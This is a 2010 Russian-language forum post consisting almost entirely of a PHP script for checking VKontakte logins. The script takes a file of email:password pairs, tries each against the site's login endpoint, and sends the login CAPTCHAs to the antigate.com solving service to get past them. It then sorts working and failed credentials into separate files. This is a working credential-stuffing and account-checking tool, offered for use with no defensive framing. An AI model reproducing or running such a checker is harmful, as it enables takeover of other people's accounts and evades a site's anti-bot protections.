Показать сообщение отдельно

  #9  
Старый 20.03.2010, 05:09
qwerra
Участник форума
Регистрация: 21.04.2007
Сообщений: 259
С нами: 10029744

Репутация: 219
По умолчанию

Наверное надо как то так:

PHP код:
<?
set_time_limit
(0);

require_once 
'config.ini';


function 
recognize($filename, $apikey, $is_verbose = true, $rtimeout = 5, $mtimeout = 120, $is_phrase = 0, $is_regsense = 0, $is_numeric = 0, $min_len = 0, $max_len = 0)
{
    if (!
file_exists($filename))
    {
        if (
$is_verbose) echo "file $filename not found\n";
        return 
false;
    }
    
$postdata = array(
        
'method'    => 'post', 
        
'key'       => $apikey, 
        
'file'      => '@'.$filename, //полный путь к файлу
        
'phrase'    => $is_phrase,
        
'regsense'    => $is_regsense,
        
'numeric'    => $is_numeric,
        
'min_len'    => $min_len,
        
'max_len'    => $max_len,
        
    );
    
$ch = curl_init();
    
curl_setopt($ch, CURLOPT_URL,             'http://www.antigate.com/in.php');
    
curl_setopt($ch, CURLOPT_RETURNTRANSFER,     1);
    
curl_setopt($ch, CURLOPT_TIMEOUT,             60);
    
curl_setopt($ch, CURLOPT_POST,                 1);
    
curl_setopt($ch, CURLOPT_POSTFIELDS,         $postdata);
    
$result = curl_exec($ch);
    if (
curl_errno($ch)) 
    {
        if (
$is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
        return 
false;
    }
    
curl_close($ch);
    if (
strpos($result, "ERROR")!==false)
    {
        if (
$is_verbose) echo "server returned error: $result\n";
        return 
false;
    }
    else
    {
        
$ex = explode("|", $result);
        
$captcha_id = $ex[1];
        if (
$is_verbose) echo "captcha sent, got captcha ID $captcha_id\n";
        
$waittime = 0;
        if (
$is_verbose) echo "waiting for $rtimeout seconds\n";
        
sleep($rtimeout);
        while(
true)
        {
            
$result = file_get_contents('http://antigate.com/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
            if (
strpos($result, 'ERROR')!==false)
            {
                if (
$is_verbose) echo "server returned error: $result\n";
                return 
false;
            }
            if (
$result=="CAPCHA_NOT_READY")
            {
                if (
$is_verbose) echo "captcha is not ready yet\n";
                
$waittime += $rtimeout;
                if (
$waittime>$mtimeout) 
                {
                    if (
$is_verbose) echo "timelimit ($mtimeout) hit\n";
                    break;
                }
                if (
$is_verbose) echo "waiting for $rtimeout seconds\n";
                
sleep($rtimeout);
            }
            else
            {
                
$ex = explode('|', $result);
                if (
trim($ex[0])=='OK') return trim($ex[1]);
            }
        }
        
        return 
false;
    }
}

function 
GetList($filename){
if(!
file_exists($filename)||filesize($filename)==0)return -1;
$handle = fopen($filename,'r');
$source = fread($handle,filesize($filename));
fclose($handle);
$source = str_replace(array("\r","\t"),"",$source);
$source = explode("\n",$source);
return 
$source;
}

function 
ToLog($str)
{
global 
$log_handle;
fwrite($log_handle,$str);
echo 
$str;
flush();
}

function 
Login($login,$password)
{
$init = curl_init();
curl_setopt($init, CURLOPT_URL, 'http://vkontakte.ru/login.php');
curl_setopt($init, CURLOPT_POST, 1);
curl_setopt($init, CURLOPT_TIMEOUT, 15);
curl_setopt($init, CURLOPT_POSTFIELDS, 'op=a_login_attempt');
curl_setopt($init, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($init, CURLOPT_HEADER, 1);
curl_setopt($init, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$source = curl_exec($init);
curl_close($init);
if(
strstr($source,'Enter code')){
global 
$use_AC,$captcha_file;
if(
$use_AC)
{
preg_match('|\{"ok":-2,"captcha_sid":"(\d+)","text":"Enter code"\}|', $source, $cid);
$img = fopen($captcha_file,"w");
fwrite($img,file_get_contents("http://vkontakte.ru/captcha.php?s=1&sid=$cid[1]"));
fclose($img);
$captcha_code=recognize($captcha_file,$AC_key,false);
$init = curl_init();
curl_setopt($init, CURLOPT_URL, 'http://vkontakte.ru/login.php');
curl_setopt($init, CURLOPT_POST, 1);
curl_setopt($init, CURLOPT_TIMEOUT, 15);
curl_setopt($init, CURLOPT_POSTFIELDS, "op=a_login_attempt&captcha_sid=$cid[1]&captcha_key=$captcha_code");
curl_setopt($init, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($init, CURLOPT_HEADER, 1);
curl_setopt($init, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$source = curl_exec($init);
curl_close($init);
return array(
'captcha_block',null);
}
else
return array(
'captcha_block',null);
}

$init = curl_init();
curl_setopt($init, CURLOPT_URL, 'http://login.vk.com/?act=login');
curl_setopt($init, CURLOPT_POST, 1);
curl_setopt($init, CURLOPT_TIMEOUT, 15);
curl_setopt($init, CURLOPT_POSTFIELDS,'email='.$login.'&pass='.$password.'&expire=&vk=');
curl_setopt($init, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($init, CURLOPT_HEADER, 1);
curl_setopt($init, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$source = curl_exec($init);
curl_close($init);
if(
preg_match('|<input type=\'hidden\' name=\'s\' id=\'s\' value=\'(\w+)\' />|', $source, $rsid))
return array(
'valid',$rsid[1]);
else 
return array(
'invalid',null);
}




$log_handle = fopen($log_file,"a+");
$good_handle = fopen($good_file,"a+");
$bad_handle = fopen($bad_file,"a+");
$accounts = GetList($vk_accs);
if(
$accounts==-1)
die(
"\r\n file accounts not found or clean \r\n");
$val_acc = (count($accounts)-1);

for(
$i=0;$i<=$val_acc;$i++)
{
if(
$accounts[$i]=='')
continue;
list(
$mail,$pass) = explode($delimeter,$accounts[$i]);
$res = Login($mail,$pass);
switch(
$res[0])
{
case 
'captcha_block':
if(!
$use_AC){
ToLog("$mail$delimeter$pass [captcha block]\r\n");
}
else
$i--;
break;

case 
'valid':
ToLog("$mail$delimeter$pass [valid!]\r\n");
fwrite($good_handle,"$mail$delimeter$pass\r\n");
break;

case 
'invalid':
ToLog("$mail$delimeter$pass [invalid]\r\n");
fwrite($bad_handle,"$mail$delimeter$pass\r\n");
break;

}
}
fclose($log_handle);
fclose($good_handle);
fclose($bad_handle);
?>
 
Ответить с цитированием